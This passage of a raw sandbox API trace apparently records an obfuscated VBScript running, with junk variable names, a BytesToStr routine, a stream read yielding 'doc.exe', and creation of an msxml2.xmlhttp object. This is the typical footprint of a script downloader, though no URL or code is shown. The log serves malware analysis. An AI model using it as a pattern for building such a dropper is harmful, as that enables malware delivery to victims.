riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.706] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.706] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.706] GetCurrentThreadId () returned 0xd44 [0087.707] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.707] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.707] malloc (_Size=0x804) returned 0x83fc220 [0087.707] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.707] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.707] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.707] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=19) returned 0x0 [0087.707] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.707] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.707] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x1545b8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66c8, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66c8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="doc.exe", varVal2=0x0), pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0087.708] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.708] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0087.708] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.708] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.708] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.708] GetCurrentThreadId () returned 0xd44 [0087.708] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.709] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.709] malloc (_Size=0x804) returned 0x83fc220 [0087.709] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.709] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0087.709] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0087.709] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.709] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.709] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.709] GetCurrentThreadId () returned 0xd44 [0087.710] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.710] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.710] malloc (_Size=0x804) returned 0x83fc220 [0087.710] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.710] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.710] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.710] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Close", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=11) returned 0x0 [0087.711] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.711] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.711] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1545b8*(rgvarg=0x83d66c8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=0x83d66c8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0087.711] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.712] free (_Block=0x1197880) [0087.712] free (_Block=0x86ea2e0) [0087.712] free (_Block=0x84750c8) [0087.712] free (_Block=0x83d9f10) [0087.712] ??3@YAXPAX@Z () returned 0xc80001 [0087.713] free (_Block=0x1197838) [0087.713] free (_Block=0x11c29f0) [0087.713] free (_Block=0x847b3d8) [0087.713] free (_Block=0x83d9df8) [0087.713] ??3@YAXPAX@Z () returned 0xb60001 [0087.713] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.714] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="xport", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.714] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="xport", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.714] GetCurrentThreadId () returned 0xd44 [0087.714] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.714] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.714] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="strsaveto", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.714] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="strsaveto", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.714] GetCurrentThreadId () returned 0xd44 [0087.714] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.716] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.716] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="uqredvgyd", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.716] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="uqredvgyd", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.716] GetCurrentThreadId () returned 0xd44 [0087.716] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.716] realloc (_Block=0x844c5d0, _Size=0x500) returned 0x87928c0 [0087.716] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.717] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="hrc", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.717] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="hrc", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.717] GetCurrentThreadId () returned 0xd44 [0087.717] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.717] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.717] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="njigh", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.717] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="njigh", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.717] GetCurrentThreadId () returned 0xd44 [0087.717] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.718] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.718] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ghwrthytketuketkryumktymjkur", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.718] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ghwrthytketuketkryumktymjkur", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.718] GetCurrentThreadId () returned 0xd44 [0087.718] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.719] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.719] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vi", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.719] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vi", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.719] GetCurrentThreadId () returned 0xd44 [0087.719] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.719] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.719] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="yyuyuy", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.720] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="yyuyuy", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.720] GetCurrentThreadId () returned 0xd44 [0087.720] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.720] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.720] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="te", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.720] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="te", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.720] GetCurrentThreadId () returned 0xd44 [0087.720] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.721] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.721] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lmknk", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.721] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lmknk", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.721] GetCurrentThreadId () returned 0xd44 [0087.721] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.721] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.721] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="quote", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.721] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="quote", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.721] GetCurrentThreadId () returned 0xd44 [0087.721] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.722] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.722] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="jrjrrarjr", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.722] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="jrjrrarjr", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.722] GetCurrentThreadId () returned 0xd44 [0087.723] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.723] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.723] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="eirgwr22gyig2r", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.723] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="eirgwr22gyig2r", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.723] GetCurrentThreadId () returned 0xd44 [0087.723] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.723] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.723] malloc (_Size=0x804) returned 0x83fc220 [0087.724] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.724] CLSIDFromProgIDEx (in: lpszProgID="msxml2.xmlhttp.3.0", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0xf5078f35, Data2=0xc551, Data3=0x11d3, Data4=([0]=0x89, [1]=0xb9, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1f, [6]=0xe2, [7]=0x21))) returned 0x0 [0087.724] SysStringLen (param_1=0x0) returned 0x0 [0087.724] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0xf5078f35, Data2=0xc551, Data3=0x11d3, Data4=([0]=0x89, [1]=0xb9, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1f, [6]=0xe2, [7]=0x21)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x72b7d5f8) returned 0x0 [0087.724] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d5f8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0087.725] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d5f8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x555370) returned 0x0 [0087.725] DOMDocument:IUnknown:AddRef (This=0x72b7d5f8) returned 0x1 [0087.725] DOMDocument:IUnknown:QueryInterface (in: This=0x555370, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x554634) returned 0x0 [0087.725] ??2@YAPAXI@Z () returned 0x1112ba8 [0087.726] DOMDocument:IObjectWithSite:SetSite (This=0x554634, pUnkSite=0x1112ba8) returned 0x0 [0087.726] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154858 | out: ppvObject=0x154858*=0x0) returned 0x80004002 [0087.726] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154848 | out: ppvObject=0x154848*=0x0) returned 0x80004002 [0087.726] DOMDocument:IUnknown:AddRef (This=0x1112ba8) returned 0x2 [0087.726] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154908 | out: ppvObject=0x154908*=0x1112ba8) returned 0x0 [0087.726] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153868 | out: ppvObject=0x153868*=0x1112ba8) returned 0x0 [0087.726] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15383c | out: ppvObject=0x15383c*=0x0) returned 0x80004002 [0087.726] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537d0 | out: ppvObject=0x1537d0*=0x83fd368) returned 0x0 [0087.726] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537cc | out: ppvObject=0x1537cc*=0x83fd378) returned 0x0 [0087.726] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15383c | out: ppvObject=0x15383c*=0x0) returned 0x80004002 [0087.726] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.726] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.726] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153844 | out: ppvObject=0x153844*=0x0) returned 0x80004002 [0087.726] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537d0 | out: ppvObject=0x1537d0*=0x83fd368) returned 0x0 [0087.726] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537cc | out: ppvObject=0x1537cc*=0x83fd378) returned 0x0 [0087.726] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153844 | out: ppvObject=0x153844*=0x0) returned 0x80004002 [0087.726] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.727] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.727] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0087.727] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537d0 | out: ppvObject=0x1537d0*=0x83fd368) returned 0x0 [0087.727] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537cc | out: ppvObject=0x1537cc*=0x83fd378) returned 0x0 [0087.727] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, 